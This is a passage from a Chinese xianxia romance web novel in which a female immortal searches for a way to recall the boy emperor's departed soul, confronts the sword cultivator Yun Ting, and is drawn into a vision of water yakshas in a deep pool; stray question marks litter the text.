道:“她?等会儿就来。皇都里突然出现了千霄宫弟子,被?小桃仙看见了,小桃仙就偷偷跟了过去。” 孟枝枝心里一紧,“又?出了什么事吗?” 一听到千霄宫,她?下意识想起那个剑眼无情的?云庭, 心头一阵阴影浮现。 冥漆道:“具体的?事情我也不太?清楚, 但也许是?跟妖邪有关。” “妖邪?” “最近皇宫里很奇怪, 阴气变得极重……”冥漆刚要说话,就见一众太?监抬着?箱子就往这里来, 他立马闭上了嘴。 为?首站着?钱喜,他一见孟枝枝,就像老鼠见了猫似的?, 但又?躲不过,便拉开一张皮笑肉不笑的?脸走了过来打了个招呼, “女仙大?人,今日这气色看着?真不错,白里透红。这皮肤啊,比鸡蛋看着?还要滑嫩呢。” 孟枝枝道:“钱总管,这是??” 钱喜手藏在身后,对着?那群小太?监挥了挥手,那些人的?步伐立马加快。 他扯了扯嘴皮子,道:“樊大?人托我给陛下送些东西过来。” “钱喜,我的?箱子呢?”一个矜骄的?女声传来。 来人竟然是?樊盈绣。她?穿着?一身淡粉色的?锦绣,头上梳起闺阁发式,一支凤钗插在宝冠之上,比一般的?贵族女子多了几?分尊贵之感。 她?自然看见了孟枝枝,孟枝枝也同时看见了她?。 钱喜脸色一变,立马对樊盈绣道:“县主,杂家刚让奴才们放进去了。” 他刚说完,便对上了孟枝枝的?眼神,眼神立马飘转开,低头尴尬地擦了擦额角不存在的?汗水。 他真是?何苦讨了这么一桩倒霉差事。 他生怕二人起争执,道:“县主,不如先随奴才去看看房间布置,哪里不满意的?,杂家立马让小的?们改。” 樊盈绣只淡淡扫过孟枝枝的?脸,道:“带路罢。” “欸。”钱喜的?声音里充满了快活。 他对孟枝枝行了行礼,就带着?樊盈绣离开了院子,去了另一间厢房。 冥漆这时候才出声道:“枝枝,我听说樊二小姐在白玉州被?捉了回来,这一切都是?樊隆的?安排。” 孟枝枝道:“我知?道了。” “你们在聊什么啊?唉哟,可累死我了。”小桃仙这时气喘吁吁地赶了过来,她?打了个响指,周围的?太?监和侍卫昏昏欲睡,都昏睡了过去。 她?坐在桌前,直接将茶壶往自己嘴里倒。 冥漆立马现了身,惊喜道:“小桃仙,你回来了!” 小桃仙得意道:“哼,本姑奶奶一出马,一个顶八个。枝枝,我跟你说,那个讨人厌的?云庭居然跑来皇都了。” 孟枝枝道:“他来做什么?” 小桃仙道:“我也不知?道,但我听到他跟人通讯,说要找什么人,什么什么的?。没听得太?清,我没敢离他太?近,他那把无尘剑只要一嗅到妖气就会鸣鸣作响。” 冥漆焦急道:“小桃仙,你不要再做这么危险的?事了。那千霄宫跟你也没关系,万一你被?那个云庭伤到了该怎么办?” 小桃仙道:“我这不是?没事吗?我才不怕那个云庭呢,区区凡夫俗子,不过仗着?自己有一把厉害的?剑罢了。我可是?天?生地长的?精灵,能比不过他吗?” 冥漆早在这些日子听说了孟枝枝和小桃仙在白玉州的?遭遇,道:“可是?那人心机深沉,又?性格偏执。小桃仙,你敌不过他的?。” 小桃仙一把拍桌,道:“长他人志气,灭自己威风。冥漆,你要气死我啊!” 冥漆立马气弱道:“小桃仙,你别生气。” 小桃仙背对着?他,道:“你别跟我说话了!就算那个云庭是?来皇都找我们报仇,和他打就打,谁怕谁啊!枝枝,你说对不对?” 孟枝枝安抚道:“小桃仙,别和冥漆生气了。在我心里,你是?最厉害的?。云庭要来皇都做什么事,都和我们没有关系。我们不要为?了一个外人互相生气。” 小桃仙立马走到孟枝枝的身后,对着?冥漆吐舌头,道:“冥漆,你就是?个大?笨蛋。” “小桃仙,我……” “我再也不理你了,哼!” 冥漆欲言又止,模样很是?苦恼。 小桃仙正巧看到那边厢房的?窗户里出现了樊盈绣的?身影。 樊盈绣正去探钱喜的?鼻息,钱喜因为?小桃仙的?法力昏睡了过去。她?一探到他没事,便转过头来。 小桃仙和冥漆立马隐了身。 小桃仙道:“她?怎么会在这里?” 樊盈绣转过身来,只看见坐在庭中的?孟枝枝。 小桃仙十分诧异,道:“我的?法力怎么对她?没有效果?” 樊盈绣深深地看了一眼孟枝枝,调转了个头,看样子正准备从房屋里走出来。 小桃仙惊慌失措道:“枝枝,我和冥漆先走,等没人的?时候再来看你。” “好,你们小心,别被?别人发现了。” “恩。你也小心,这个樊盈绣身上有古怪。” 说罢,她?拉着?冥漆的?手飞隐走了。 樊盈绣走到院中,她?一双黑瞳如漆,眼线狭长如墨舞,额中央的?红痣倒使得她?的?贵族装扮不落俗套,有着?出尘气质。 这让孟枝枝总想起上一世的?那个被?世人尊称为?“小菩萨”的?樊仙子。 这时赢破正从房里出来,他皱起眉头,一脸睡梦初醒、满不耐烦的?神态。他第一眼见着?孟枝枝,便朝她?走了过来。 “阿破。”樊盈绣叫住了他。 赢破回过头,一见是?她?,半耷拉的?眼皮一下子撑开。 樊盈绣对他招了招手,“你来。我有东西要给你看。” 赢破走了过去,道:“那些人怎么没伺候在你身边?” 樊盈绣越过他的?肩,别有深意地看着?孟枝枝,道:“估计偷懒去了罢。” 赢破怒道:“这群死奴才!” “阿破。”樊盈绣将手伸了过去,赢破顺其自然地将小臂伸了过去,让她?将手搭在了手腕处。 樊盈绣道:“别跟一群奴才置气,你是?皇帝,自有尊容。我从白玉州带了些小玩意儿给你,就在我房里。想不想玩?” 赢破眼睛微亮,又?敛住神色道:“那都是?些小孩子玩的?东西。” 樊盈绣佯装生气,道:“阿破,我想玩,你不愿意再陪我玩了吗?” 赢破表情变了变,道:“走罢。” 樊盈绣嘴角一勾,正当她?准备跟着?赢破走的?时候,只听赢破对孟枝枝道:“孟芷,你跟我一块去。” 樊盈绣脸色微微一僵,脸色又?恢复成那副骄傲模样,淡淡扫在了孟枝枝身上。若是?一般人被?她?这样一看,早自愧不如。 孟枝枝道:“玩什么?” 赢破松了樊盈绣的?手,走到她?跟前蹲了下来,手沾了茶水,在桌面上画画。 他嘴上不屑,却对她?介绍得万般详细,几?笔顺滑,将那些小玩意儿画得那叫一个栩栩如生,道:“都是?小孩玩的?幼稚东西。” 孟枝枝近日早觉得无趣,赢破这么一讲,让她?仔细看了起来,道:“看起来很有意思,樊县主对你有心了。这些让我想起来,我小时候也很爱抽陀螺。还有这个鲁班锁是?怎么解开来着?,我都快忘了,我还记得好像是?这样?欸,不对,是?这样……” 赢破吐道:“真傻。” 孟枝枝不服气道:“我们比一比。” 赢破立马被?激起来道:“我会赢。” “那可不一定。”孟枝枝道。 樊盈绣按着?太?阳穴,道:“阿破,我累了,不想玩了。” 赢破道:“那孤和孟芷在外面玩,你去休息。” 樊盈绣那骄傲的?脸庞上露出一丝受伤的?表情,道:“阿破,你以?前不这样的?。我昨夜才回皇都,你不留下来陪陪我吗?” 赢破默了片刻,道:“孤陪你。” 他将目光转向孟枝枝。 不等他开口,孟枝枝冲他一笑道:“你去吧。” 她?早就清楚赢破对樊盈绣一直有一种和其他人不一样的?情感。或许是?从小相依为?命,就像樊鸣所说,二人两小无猜。在前一世,赢破就一直心里深爱樊盈绣。哪怕他做了魔,也不忘把成为?仙子的?樊盈绣拉下神坛。 孟枝枝很清醒,她?如今也不想去干涉他们两个人之间的?事。 樊盈绣看起来也对她?颇有敌意,跟上一世比,记忆中和她?极少有交集的?樊盈绣,总是?一副高高在上的?样子,如今倒有些针对自己的?意思。事情真的?和上一世不一样了。 孟枝枝心里想得明白,她?没有问得成云庭,师父的?线索再一次中断了。 她?只能先做一些目前能做的?事,整日开始呆在西厢房里关上门?修行。 在外人看来,她?整天?把自己关在房里,不知?道忙些什么,都不敢打扰。 唯独小皇帝每次都风风火火地来,满眼含着?怨念地看着?她?。 孟枝枝抬起头,不明就里。 赢破夺走她?手里的?笔,刚要说些什么,外面就传来樊盈绣在叫“阿破”的?声音。 赢破气急败坏道:“你今夜等孤。不许睡着?!” 孟枝枝慢悠悠地应道:“好。” 赢破又?走了出去,走了一半,又?不知?道想起什么,气得调转回来道:“孟芷,你究竟有没有……” “阿破,你在哪儿啊?” 小皇帝第二次被?人打断,脸色看上去像要爆炸了似的?。孟枝枝担忧他突发脾气,但只见他压抑住了情绪,一瞬恢复了冷静,这让孟枝枝觉得十分惊奇。 第40章 第 40 章 小皇帝的克制, 让孟枝枝再次认识到他对樊盈绣不?一样的情?感。 小皇帝睁着深沉的眼眸,对她道:“记得等孤。” 说?罢,他离了?她的房间,直奔去?处。 是?夜, 孟枝枝坐在窗前, 遥看明月高挂。 月色宛如蒙了?一层黄纱, 波旋诡谲。 一阵风吹过, 她顿觉瞌睡侵袭, 但强打着精神。恍惚之?中,她见有人在月下踏步而来。 她刚要喊出小皇帝名字,就见来人现?出模样。樊盈绣面?无表情?,走到窗前对她道:“孟芷,助我逃离, 我必不?会忘了?你。” 孟枝枝哑口了?半晌,她道:“县主,进?来说?罢。” 她摆满一张茶桌,茶过茶海,显出喷香的茶色。樊盈绣拾过孟枝枝递来的一盏茶, 喝了?一口道:“我爹逼我和阿破成亲, 我不?想。你对阿破情?谊深重, 也必不?想看到这样的情?况。我走了?,也算成全了?你和阿破。” 孟枝枝垂下眼眸, 手中倒茶的举动依然沉着冷静。 樊盈绣道:“孟芷,你该知道,我所向之?心皆为修仙, 于凡事无情?。阿破对我一番热忱,我心有余而力不?足。但你不?一样, 你是?散仙,又是?医修。你肚中有了?孩子,如果我和阿破成亲,你的孩子就要养在我的膝下,你当真愿意见到这样的场景?” 孟枝枝终抬起头道:“县主,你想让我做什么?” 樊盈绣道:“按樊家的规矩,半个月后,我会与阿破大婚,我希望你这几日就助我离开此地。” 孟枝枝道:“他怎么想?” 樊盈绣脸有不?解,“谁?阿破?” 孟枝枝点头。 樊盈绣道:“阿破他自是?愿意与我成亲。但是?我不?得不?辜负于他。这场联姻毫无意义?,我对阿破没有男女之?情?。” 她冷淡地说?出一个事实。 她又道:“孟芷,你会帮我罢?”说?罢,她又饮了?一口茶,这茶飘香四溢,她倒是?觉得孟芷这人有几分品味。 孟枝枝手挽住袖口,将茶壶放了?回去?。 她淡道:“县主,此事,我不?答应。” 樊盈绣道:“孟芷,你知道你在说?什么?你难道不?想独占阿破的心吗?” 孟枝枝道:“县主,你恐怕想错了?我。我不?会干涉他的任何决定。” 上一世?也同样经历了?这一遭。樊盈绣想让她帮助自己逃跑,孟枝枝见她苦苦纠缠,同时也为了?自己心里那点小心思,便帮助了?她,但换来的是?小皇帝的大发雷霆。 如果重来一次,她再也不?要做这样的事。 她不?会替别人做任何决定。 樊盈绣立起身来,半是?威胁道:“你……孟芷,你就不?怕阿破的心都在我这里?” 孟枝枝只是?沉默。 樊盈绣吃了?个闷亏,她临别之?际,对孟枝枝道:“希望你不?要后悔。” 樊盈绣走了?之?后,小皇帝果然过来了?,孟枝枝依然不?改神色,正将举起一盏茶触碰嘴唇。 他抢过她的茶杯牛饮了?起来。 孟枝枝见状,又给他再倒了?一杯,她将茶杯递了?过去?,小皇帝又喝了?第二杯。 “还要吗?” 小皇帝摇了?摇头,孟枝枝见状,便为自己的茶杯沏了?一杯,正低头去?饮,只听?他开口道:“孟芷,孤要同县主大婚了?。” 孟枝枝饮了?一口茶,抬起眸看他,道:“婚期定了??” 她的态度让赢破心中隐隐感到不?舒服,他冷道:“定了?,三日之?后,就在此地。” 孟枝枝不?知道他的冷意来于何处,只当他厌恶樊家,但樊盈绣与樊家是?密不?可分的关?系。 樊家将唯一的贵女嫁给小皇帝,这意味着什么,不?言而喻。如果小皇帝成为女婿,到底会对他好上几分吧? 樊家的野心一直明目张胆,但之?所以不?敢真正造反是?因为仙誓。赢氏一族注定是?人界皇帝,九五至尊,普通人怎么能和仙门抗衡呢? 她道:“好。” “只是?这样?” 孟枝枝发觉赢破看向她的眼神更冷了?。 他还想如何? 孟枝枝道:“是?。” 赢破又想起那日樊鸣拿出天仙子种子在他耳边说?过的话——“若她爱你,必会献身于你。” 但孟枝枝没有,她拒绝了?他。 现?在她那双亮澄澄的眼睛,一如那一夜红被花烛下,她凝望他时的模样。 人还是?那个人。哪怕她回来了?,她还是?如此,没有半分变化?。 他心中怎能不泄气。 “只要你将她困在身边,像驯服鸟儿一样驯服她,不?听?话就折断她的翅膀,让她依赖你,只要时间足够,她迟早会爱上你。” 他胸中顿时戾气横生。 只有如此吗? 他望着她的眼睛,那一汪春水般的眼眸,宛如天上的星星,心中汹涌着浓郁得化?不?开的渴望,从喉咙开始觉得干渴。 他极度想要,想要摘下这天上的星星。 “这才是?怪物爱人的方式。”他低语道。 孟枝枝没听?清,道:“你说?什么?” 赢破掐住她的下巴,脸不?断凑近,一双眼直勾勾的。 孟枝枝吓了?一跳,但她没有躲避,只觉得莫名。他的指腹在她下巴处轻轻摩挲,动作强硬却又不?让她觉得疼。下巴处那冰凉的触感,让她感觉到自己皮肤上升起细细密密的鸡皮疙瘩。 赢破道:“孟芷。” 她从?未听?过他这样叫她的名字,极度压抑的口腔,缠绵的舌尖腻得仿佛拉出细丝。 月光打在他的脸上,连睫毛都变得雪白。 他俯下身,吻了?过来。 砰的一声,孟枝枝感觉脑子里炸开了?花,一片空白。 他、他们?在做什么? 她愣住了?,手脚发麻得厉害,四肢仿佛都有电流经过。 赢破吻着她,蹭着她的唇,再一点一点地轻轻啃噬。唇瓣挤压着、碰撞着,柔软地盛开,他的眼神迷醉地看着她。 她一把推开了?他。 他的唇瓣红得发亮,那是?她的口水留在了?他的唇上。 孟枝枝站起身道:“赢破,你知不?知道你在做什么?” 那双漆黑的眼眸看着她,道:“我知道。” 孟枝枝气道:“你知道,我看你什么不?知道!我说?过了?我不?喜欢你,我早就有喜欢的人了?!” 那双眸子只一瞬便燃起怒火。 “他是?谁!” 他掐住她的手腕,有想一把捏碎的冲动,但他克制住了?。 孟枝枝一瞬恍惚,他这番执拗的模样与上一世?的脸重叠交织。 那日,他抢了?樊盈绣回了?魔宫,让所有人尊称樊仙子为夫人。从?那之?后,她不?愿再见他,就算他来,她也从?不?看他。直到一个深夜,他闯入了?她的寝宫,将她一步步逼到床榻之?上。 她无处可躲,不?得不?抬头看他。 他道:“枝枝,你为什么不?再看着我?” 她万般心碎道:“赢破,你懂什么是?爱吗?” “赢破,”孟枝枝从?记忆中回过神来,月光落在她的肩上如白雪皑皑。 “你到底懂什么是?爱吗?” 少年的眸子仿佛被人定住,心尖被刺了?一下,泛起细细麻麻的疼。 眼前的少女微张红唇,她的身上泛着刺眼的白,身形重叠,形如影魅。 一瞬间,赢破头疼欲裂,唇色尽失。 他一只手撑着额头,有什么东西呼之?欲出。 “孟芷。”他眼前一瞎,往前一抓,虚晃了?下。 孟枝枝立马抓住他的手,点了?他几个穴位,稳住他的心神。将他的一只手捞起,压在了?自己的脖子上。 她将他带到了?床边,扶他躺下。 他脸色苍白如冷雪,透露着一种说?不?出的脆弱感。 孟枝枝捏诀,念道:“灵宝天尊,安慰身形。弟子魂魄,五脏玄冥。青龙白虎,队仗纷纭。朱雀玄武,侍卫身形。” 她手中金光乍现?,一道灵气窜进?他的体?内。 孟枝枝的瞳孔中倒映着光辉。 少年双眼紧闭,眉宇间紧皱得能夹死一只苍蝇。 “醒醒。”孟枝枝喊道。 然而赢破毫无动静。 孟枝枝腾出一只手,袖下弹出一道金符,金符往外一飞,漂浮在空中。 她的额头冒出豆大的汗水。 “小桃仙,冥漆快来。我需要你们?。” 只见那道金符上随着她的话音显出字样。 这是?一道传信符纸。 很快,两道光影齐齐穿破进?来。 “枝枝,我们?来了?。” 小桃仙和冥漆现?出人形。 小桃仙看见孟枝枝正对着小皇帝输送灵气,便道:“我来助你。” 她一掌搭了?上去?,道:“冥漆,你帮我们?盯着,别让那些凡人进?来。” 冥漆应道:“好。” 他守在了?门口。 一人一妖使?尽浑身解数,赢破的身体?却宛如一个漏洞的炉子,无论多少灵气输送进?去?,过不?了?多久都消失不?见了?。 小桃仙累得气喘吁吁道:“他怎么回事?中邪了??” 孟枝枝道:“他灵魂出窍了?。” “什么?!”小桃仙道。 孟枝枝鼻尖滴落一滴汗珠,道:“之?前他出窍过一次,似乎是?不?经意间学会的魂术,这次又突然变成了?这样。” 小桃仙道:“照理说?不?应该啊,魂术施展是?要强大的执念,好端端的,他又受了?什么刺激?” 孟枝枝道:“我不?知道,他突然之?间心神不?定,听?不?见我说?话,身体?也无法站立。我点住了?他的穴位,想帮他稳住心神,但是?他昏了?过去?,我施展了?净身神咒也无法唤醒他,一探他的灵脉,发现?他体?内缺少魂魄。” 小桃仙变换了?一个身形,道:“我们?这样输送灵气没用,只能暂时护住他的身体?,除非有召唤魂魄的法器。” 孟枝枝道:“一定要用法器吗?如果我找到他灵魂出窍的地方,带他回来呢?” 这种召唤魂魄的法器是?高阶法器,无比稀有。她记得师父随身携带有一只招魂笛,但师父不?在这里,这个方法走不?通。 小桃仙道:“傻狍子,世?界之?大,谁能知道他的灵魂飞去?了?哪里?你难道想跑断腿?更何况,魂魄离体?不?能超过十五天,你能保证在短短十五天里找到他吗?你跑断腿都不?一定能找到他的魂魄!” 40-50 第41章 第 41 章 孟枝枝咬紧唇瓣。 她知道, 她心知肚明。 可是赢破突然人就要死了,这叫她怎么能接受。 她有想过,一旦他有作恶的苗头,她一定会亲手要了他的命。可是赢破真的要死了, 在他还是一个孱弱的凡人的时候……她怎么能放纵一条生命在她眼前流逝, 而无动于衷。 她从来?不是那样的人。她做不到! 她必须得找回他的魂魄。 她缓缓转过脸, 道:“帮我照看?好他, 这十五天里护他肉身不腐。” 小桃仙心疼她, 道:“我不明白,我真的不明白。枝枝,你为什?么要为他做到这个地步?他不过就是一个被囚禁的傀儡,活不了多久的。他如果真的对你有心,一定也不愿意白白看?着你去送死吧!” 孟枝枝道:“小桃仙, 你想错了,他那么想活,如果知道我不救他,怕是要烦我到死。我自问不亏欠他任何东西,但是现在如果他死了, 我还怎么去找师父?赢氏子?孙命脉一断, 南元国必将大乱, 这到头来?岂不是我的罪孽,所以我一定得帮他找回魂魄。” 小桃仙沉着脸, 她一言不发。 “求你答应我,小桃仙。” 小桃仙深呼吸一口?气,败下阵来?, 道:“行了行了,别用那种语气恳求我。枝枝, 我一点都?不高兴,你这是在为难我。我一点都?不喜欢这个鬼皇帝!” 小桃仙这是答应了,孟枝枝几乎喜出望外。 “你别高兴得太早,我有条件。” 孟枝枝沉静了下来?,道:“你说。” 小桃仙道:“你不能离开皇都?之外,传信符通讯距离有限,如果你出了皇都?,我无法联系你。还有,让冥漆跟着你一起去。” 冥漆道:“小桃仙,这里很危险。樊鸣会一直派人监控这里,我怎么放心你一个人留在这里?” 小桃仙道:“别废话,我让你去就去。你还想不想修复你的妖丹了?我告诉你,我会通过玉坤山夺旗大赛的选拔考试,打?败其他妖修,到时候拿到南极仙药,修复你那破碎的妖丹绰绰有余。你现在这样,是在小看?我。” 冥漆急道:“小桃仙,我绝对没有小瞧你。我只是……” 小桃仙一眼瞪了过去,“不信任我能做得到对不对?冥漆,你可真虚伪!” 冥漆立马怂了,道:“小桃仙,我错了。我去就是了,你千万别生气!” 小桃仙哼了一声。 她腾出一只手,活动着手腕,偏过头对孟枝枝道:“你不要用那个蠢办法。你去找一个人,他身上?有召唤魂魄的法器,你要想办法拿走法器。那个人此刻就在皇都?之中。” “谁?” “云庭。” 孟枝枝瞳孔一缩,似是下定了决心,道:“好,我去。” “一路小心。趁着天没有亮,你们快走。” 孟枝枝带上?自己的桂花香囊,身披暗色斗篷。她跟冥漆一出房屋,借着夜色,躲过太监和侍卫的视线,来?到贴满黄符的独吊木桥处。 冥漆化成?一只花枝鼠,跳跃到独吊木桥那头。“枝枝快过来?。” 孟枝枝脚踩了过去,脚底陡然烫了起来?,四肢都?仿佛被火着了一样有种烧疼感?,但身体表面并没有什?么异样。 冥漆急道:“快过桥,有一队羽林军过来?了。” 孟枝枝咬紧牙根,一口?气冲了过去。 等她过完桥,冥漆立马拉住她的手,躲到了草丛之中。 等羽林军过去之后,他道:“我们先出宫。” 说罢,他化形成?一只巨兽,他道:“枝枝,上?来?。” 孟枝枝脚点地,轻轻一跃,落到了他毛茸茸的背上?。 冥漆四肢朝天空扑了过去。 夜深人静,一只跑动的巨兽在房屋之间来?回跳跃,动作轻盈迅捷,房屋之下来?回走动的人们毫无察觉。 等他们出皇宫,孟枝枝便道:“冥漆,我们分开去找,一定要在黎明之前找到云庭。” 冥漆点点头。 二?人往不同方向跑去。 孟枝枝朝皇宫回首,怔住。 皇宫什?么时候阴气变得这么重了? 她心中隐隐升起不安。 但此时容不得她思索,留给她的时间不多了,等到天亮之后皇都?的人们都?醒了,那时候就不方便行动了。 她拉起斗篷,飞在空中,一间一间地去寻。 咚——咚—— 打?更人拿着手里的梆子,有节奏地敲击。 一道影子从房屋之上飞跃而过。 冥漆立在正脊之上,一双妖冶的绿色眼睛,扫过层层楼阁,直接透视进房屋里。 视线拉得极近,睡梦中一张张熟睡的面孔都?被他极为仔细的打?量。 忽而,他看?见一间房屋内,烛光下,一只笔在书写着什么。 他往上?一看?,正想看?写字的人是谁。 只听一道凌厉的声音道:“孽畜,胆敢来?犯人界!” 那人将笔向前一抛掷,一阵强烈的法术能量冲击过来?。 冥漆立马收回视线,转身奔往另一处。 身后很快有一个人追了过来?。 冥漆狂奔向前,体型随之一步步缩小,从巨兽变成?一只人手大的花枝鼠,他眼中的绿光拉扯出长影。 一道符咒猛冲过来?,他往旁躲闪,符咒打?在了冰凉的地面上?,顿时现出一个坑。 冥漆见状,立马窜进了一户人家之中。 那个人的身影止住了。 冥漆不敢松懈,以极快的速度逃命。当他没入一个拐巷之时,身后竟同时冒出了七八张符纸。 它们齐齐以雷霆之势向他冲了过来?。 冥漆左右躲闪,两?道符纸堪堪从他身侧擦过砸到地上?,剩下的符纸却依然紧追不舍。他一个点墙跳跃,符纸落到了墙壁上?,全砸空了。 当他再一次松了口?气的时候,身后顿时惊现数十张符纸。 这一次,他恐怕难以逃脱。 冥漆顿感?强大的压力,他大喊道:“枝枝,救命啊!” 他被一道强光冲击双目,脚底打?滑,嘭地一声,一道强大的能量正好砸在了他的跟前,距离不过发丝之间。 冥漆呼吸停滞,刚刚就差一点点,他就命丧此处。 然而时间并不等他,身后还有更多的符纸追来?,将他彻底逼进了一个死角境地。 来?人身披白色斗篷,身如轻羽,在不远处缓缓落下,腰间一把雪白的剑醒目刺眼。 冥漆身形变大,呲着尖牙,冲他嘶吼。 “皇都?森森威严,岂容你侵犯?” 那人提起剑鞘,拔出一点点剑,铺天盖地的雪花聚拢此处,能量强如爆裂状,还在不断向外扩展着,看?着就十分可怖。 冥漆顿时意识到眼前之人正是小桃仙口?中说的云庭。 云庭道:“说!你勘探我,是为了什?么?” 冥漆被强大的压力压抑得喉咙发紧,他立马伸出前爪,全身作势向下。 “遁地之术?休想逃走!” 云庭拔出一半无尘剑,雪花簌簌飞舞,地面结出无数锋锐的冰晶。 这一下,冥漆在所难逃! 从天边飞来?一道金光,笔直地朝云庭的剑梢冲击。 这一招十分凌厉,无尘剑瞬间被击中,停顿了一下。就这一下,冥漆趁机使用遁地之术逃走。 云庭脸上?布满阴霾,他回过头,一个穿着暗色斗篷的人飘然落地。 “是你。” 孟枝枝掀开帏帽,露出脸,“云庭,别来?无恙。” 云庭道:“原来?你与那鼠妖是一伙的。” 孟枝枝顿了顿,不否认道:“他是我的朋友。” “你与妖做朋友?我记得你是一个散仙。”云庭迈出步伐,他眉宇间充斥着不屑。 孟枝枝深知他对妖邪深恶痛绝,不屑与他多谈此事,道:“是我拜托他找你。” 云庭道:“哦?”他眼神中有深深的怀疑。 孟枝枝走近,道:“我要救一个人,他的魂魄出了窍,但我没有招魂的法器,我想要借你的法器一用。” 云庭道:“你倒是很直接。不过你怎么知晓我在皇都??” 他身形快得令人看?不见,等孟枝枝回过神,他已经拿起剑鞘压在她的脖颈处。 他压着嗓音道:“还是你在跟踪我?说,还有谁知道我在皇都??” 他这几日呆在皇都?之中,隐姓埋名,别人只知道他是上?京赶考的书?生,没想到被人识破。 孟枝枝冷静面对道:“没有其他人,只有我知道。” “你以为我会信?” 孟枝枝抬起那双清澈的眼眸,道:“我说的都?是实话。” 云庭凝视她许久,才缓缓将剑鞘收回来?,他将剑背到身后,道:“你速速离开此地,别再出现在我眼皮子?底下。” 孟枝枝摸了摸自己的脖颈,道:“借我法器。” 云庭道:“仙门?重宝,如何能借?” 孟枝枝道:“你不借我,我不会走。” 云庭眉间隐有怒气,道:“我这次放过你,是看?在白玉州之乱,你帮了千霄宫的弟子?,但不代表你就能为所欲为。” 孟枝枝道:“你既是仙门?弟子?,救人就是你的使命。云庭,还是说你道貌岸然,压根不屑于救这一条性?命?” 不远的天边忽然炸出一道闪电,乌云翻滚,强大的威压让人觉得压抑。 云庭神情?明显几分凝重,立马转身点地一飞。 孟枝枝不假思索,立马跟在他身后。 天空之中一白一暗的两?道身影,齐齐追入那巨大的闪电里。没人看?见他们突然消失在半空之中。 第42章 第 42 章 天空大亮。 小桃仙被门外的脚步声吵醒。 “女仙大人?, 您醒了吗?”钱喜恭候在外。 她看了一眼赢破,他闭着眼,像安睡了一样。 小桃仙顿感棘手,便冲门外吼道?:“别吵我睡觉!” 钱喜心里一咯噔, 道?:“是。奴才?打扰了女仙大人?的休息, 奴才?该死。奴才?这就退下。” 过了一会儿, 终于听不见门外的脚步声。 小桃仙松了口气。 然而还没等她彻底放松, 屋外又?传来钱喜匆匆赶来的声音, 道?:“女仙大人?,陛下是否在此处,樊大人?想要叩见陛下。” 小桃仙心里一凉。 完了,完了。 她这怎么让赢破出去?,这不是摆明让他们发现?在小皇帝就像个死人?一样吗? 凡人?魂魄出窍后, 肉身?会变得极度脆弱。 这不是给那个樊家之子可趁之机? 小桃仙心生一计,立马化作孟枝枝的模样,拨散开头?发,走到门口,拉开一条细缝, 道?:“你说什么?本姑娘和陛下正忙着呢, 让那个樊什么的滚开, 大清早的,别来烦我和陛下。” 钱喜惊得下巴都要掉了, 他的眼珠子不由越过小桃仙的肩头?,看向床上,那床边耷拉着一只修长的手, 一看就是陛下的。 他立马低头?道?:“奴、奴才?知晓了。” 小桃仙哼了一声,道?:“知道?了就赶快滚。” 钱喜赶紧掉头?就走, 只见他步履踉跄,差点摔了大跟头?。 小桃仙啪地一声把门关上,这清脆一响,在别院里显得格外突兀。 小桃仙背靠着门,嘴角上翘。 她的眼角余光突然察觉到窗外有一道?视线仿佛要生生挤进来。 她眼中聚拢妖光,地面长度被掐捏缩短,视角猛然穿过一道?墙、两道?墙,一直爬上这道?视线来源之处,东厢房。 头?戴宝冠,身?着锦缎的樊盈绣一直注视着这里。 小桃仙道?:“我道?是谁,原来是你呀,哼。看吧看吧,气死你,叫你趾高气昂,欺负我姐妹。” 钱喜跌跌撞撞来到樊鸣跟前,弓着腰含蓄地告知了此事。 樊鸣眸色淡淡,道?:“此事当真?” 钱喜道?:“奴才?不敢有半句假话。” 樊鸣立了半晌,将手背在身?后道?:“看好?二小姐。” 钱喜连忙追上前,问道?:“那……孟芷那儿?” 樊鸣偏过头?,眼神中的威压不禁让钱喜瑟缩了一下。 “奴才?知晓了,奴才?这就告退。” 钱喜毕恭毕敬地弯腰退下。 天空飘下数朵白色梨花,花落似雪,一瓣落在樊鸣的手指缝中,他将梨花捻住,伸到眼前。黄蕊白瓣,小小一朵,纯洁如?雪,令人?怜爱。 他毫不留情地揉碎。 当孟枝枝再次睁眼时,她发现?自己置身?于深潭之中。她下意识捂住口鼻,四周五指漆黑,视线极暗。 她脖子上的璧水珠发着幽绿的光芒,她大口喘气,发现?自己竟然能在水中呼吸。 她抬头?一望,一双绿色的眼睛在上方凝视着她。那眼睛大如?灯笼,瞳孔形如?两栖动物,透着刺骨的生冷感。 很快,深潭中又?睁开一双绿色眼睛,两双,三双……宛如?点灯一般,眼睛变得越来越多。 她被眼睛们从四面八方包裹住。 孟枝枝从脚底升起寒意。 她从腰间的香囊里抽出一枚贴了加强符纸的咒枣,两指夹住。她步步后退,那些?眼睛们也跟着她转动。 只一瞬,她丢出咒枣,一道?金光如?流星一般划过水中,一部分眼睛追着金光去?了。 就趁现?在,她掉头?跑。 剩下密密麻麻的眼睛们追她而来。 她像一条鱼一般潜进深水之中,她余光扫见,那眼睛显出真身?,遍身?的鱼鳞,灵活矫健地朝她涌来。 跟她的猜测一点没错,这些?全都是水夜叉,她正在呆在千年深潭之下。 她不知道?自己原本跟踪云庭,怎么就到了这里。她的记忆就停留在她跟随云庭进入了那道?诡异的闪电之中。 千年深潭中,存在着万年黑色礁石,构成了重重叠叠的迷宫沟壑。她的耳边是水夜叉的嘶吼,互相撞上的水夜叉流出一点鲜血,没等眨眼的功夫就被扑上来的同类分食。 水中全是浓烈的血腥味道?。 她不得不拐进更深更黑的地方,求以摆脱掉这些?水夜叉,惊动了一路上的各种阴冷生物。 这些奇形怪状的生物在向她进攻,被身?后席卷而来的水夜叉捕食。 她一挥掌,手下数枚咒枣发出,为她保驾护航,挡住四方。 一张巨口从上方冲她张开,露出数百颗尖牙,孟枝枝堪堪擦过,长发被咬断,很快那张巨口被身?后的水夜叉撕裂开,传来咬碎头骨的嘎嘣声。 她胸腔宛若爆炸,自己的脊椎仿佛已经咬碎,恐惧遍布全身?。 她挤进了一块礁石缝隙之中,身?后已经?乱作一团,血雾在扩散,碎骨和红肉·漫天交织。 她不敢大口喘气,低下头?克制自己的呼吸频率,她看见了脖子上的璧水珠。 幽绿的光折射到她的眼睛上。 她瞳孔微缩,抬头?看向缝隙之外,又?看了回来,她突然明白了什么,道?:“这是你的过去??” 耳鸣刺啦一声,时间突然停滞。 她的身?体溢出礁石,宛如?灵魂出窍一般穿模了。 她看向那场大乱,身?体游向上方,从高向低处看清这残酷厮杀的千年深潭之底,再也没有水夜叉和异生物朝她追来,对她视而不见。 她道?:“原来你们鬼族过的竟是这样的生活。” 